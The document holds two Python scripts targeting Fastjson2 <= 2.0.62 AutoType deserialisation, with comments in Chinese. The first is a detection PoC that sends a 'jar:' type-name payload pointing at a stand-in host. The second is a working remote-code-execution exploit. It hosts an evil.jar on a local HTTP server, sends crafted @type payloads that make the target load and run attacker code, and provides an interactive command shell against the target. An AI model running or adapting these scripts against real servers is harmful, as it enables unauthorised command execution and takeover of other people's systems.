#!/usr/bin/env python3
"""
Fastjson2 <= 2.0.62 AutoType RCE Vulnerability - PoC
验证目标是否存在 Fastjson2 AutoType 白名单绕过远程代码执行漏洞。
"""
import argparse, json, sys, urllib.request, urllib.error

def send_json(url, data):
    req = urllib.request.Request(url, data=json.dumps(data).encode(),
                                headers={'Content-Type': 'application/json'})
    try:
        resp = urllib.request.urlopen(req, timeout=10)
        return resp.status, resp.read().decode()
    except urllib.error.HTTPError as e:
        return e.code, e.read().decode()
    except Exception as e:
        return None, str(e)

def main():
    parser = argparse.ArgumentParser(description='Fastjson2 RCE PoC')
    parser.add_argument('-t', '--target', required=True, help='目标URL')
    args = parser.parse_args()

    url = args.target.rstrip('/') + '/api/parse'
    print(f"[*] 目标: {url}")

    # Step 1: 检测可达性
    status, body = send_json(url, {"test": "hello"})
    if status is None:
        print(f"[-] 目标不可达: {body}"); sys.exit(1)
    print(f"[+] 目标可达 (HTTP {status})")

    # Step 2: 检测 AutoType
    status, body = send_json(url, {"@type": "java.util.HashMap", "key": "value"})
    if status == 200 and 'HashMap' in body:
        print("[+] AutoType 已开启")
    else:
        print("[-] AutoType 未确认"); sys.exit(1)

    # Step 3: 核心检测 - jar:协议类型名是否被拒绝
    payload = {"@type": "jar:http://dnslog.test/evil.jar!/com.evil.Payload", "x": 1}
    status, body = send_json(url, payload)
    if status == 200:
        print("[!] 漏洞存在! jar:协议类型名未被拒绝")
        print(f"[!] 影响版本: fastjson2 <= 2.0.62")
        print(f"[!] 危害等级: 严重 (CVSS 9.8)")
    elif status == 400 and 'autoType is not support' in body:
        print("[+] 已修复: jar:协议类型名被正确拒绝")
    else:
        print(f"[?] 需进一步验证 (HTTP {status})")

if __name__ == '__main__':
    main()

#!/usr/bin/env python3
"""
Fastjson2 <= 2.0.62 Remote Code Execution Exploit
利用 AutoType 白名单绕过实现远程代码执行
"""
import argparse, http.server, json, os, socket, sys, threading
import urllib.request, urllib.error

def get_local_ip():
    try:
        s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
        s.connect(("8.8.8.8", 80)); ip = s.getsockname()[0]; s.close()
        return ip
    except: return "127.0.0.1"

class JarServer(http.server.SimpleHTTPRequestHandler):
    jar_path = None
    def do_GET(self):
        if '/evil.jar' in self.path:
            self.send_response(200)
            self.send_header('Content-Type', 'application/java-archive')
            with open(self.jar_path, 'rb') as f: data = f.read()
            self.send_header('Content-Length', len(data))
            self.end_headers(); self.wfile.write(data)
        else:
            self.send_response(404); self.end_headers()
    def log_message(self, *a): pass

def start_http(jar_path, port=9999):
    JarServer.jar_path = jar_path
    srv = http.server.HTTPServer(('0.0.0.0', port), JarServer)
    threading.Thread(target=srv.serve_forever, daemon=True).start()
    return srv

def exploit(url, cmd, mode='local', lhost=None, lport=9999):
    if mode == 'local':
        payload = {"@type": "com.poc.fastjson2.exploit.EvilPayload", "cmd": cmd}
    else:
        payload = {"@type": f"jar:http://{lhost}:{lport}/evil.jar!/com.poc.fastjson2.exploit.EvilPayload", "cmd": cmd}

    req = urllib.request.Request(url, data=json.dumps(payload).encode(),
        headers={'Content-Type': 'application/json', 'User-Agent': 'Mozilla/5.0'})
    try:
        resp = urllib.request.urlopen(req, timeout=15)
        body = resp.read().decode()
        if 'EvilPayload' in body:
            print(f"[+] RCE成功! 命令已执行: {cmd}")
            return True
        return False
    except urllib.error.HTTPError as e:
        print(f"[-] HTTP {e.code}: {e.read().decode()[:100]}")
        return False
    except Exception as e:
        print(f"[-] 错误: {e}"); return False

def main():
    parser = argparse.ArgumentParser(description='Fastjson2 RCE EXP')
    parser.add_argument('-t', '--target', required=True, help='目标URL')
    parser.add_argument('-c', '--cmd', default='id', help='执行的命令')
    parser.add_argument('-l', '--lhost', default=None, help='攻击者IP')
    parser.add_argument('-p', '--lport', type=int, default=9999, help='HTTP端口')
    parser.add_argument('--local', action='store_true', default=True, help='本地模式')
    parser.add_argument('--remote', action='store_true', help='远程JAR模式')
    parser.add_argument('--shell', action='store_true', help='交互式Shell')
    args = parser.parse_args()

    url = args.target.rstrip('/') + '/api/parse'
    mode = 'remote' if args.remote else 'local'

    if mode == 'remote':
        jar = os.path.join(os.path.dirname(__file__), 'output', 'evil.jar')
        start_http(jar, args.lport)
        lhost = args.lhost or get_local_ip()
        print(f"[*] HTTP服务: http://{lhost}:{args.lport}/evil.jar")
    else:
        lhost = None

    if args.shell:
        while True:
            try:
                cmd = input("shell> ").strip()
                if cmd in ('exit','quit','q'): break
                if cmd: exploit(url, cmd, mode, lhost, args.lport)
            except (KeyboardInterrupt, EOFError): break
    else:
        exploit(url, args.cmd, mode, lhost, args.lport)

if __name__ == '__main__':
    main()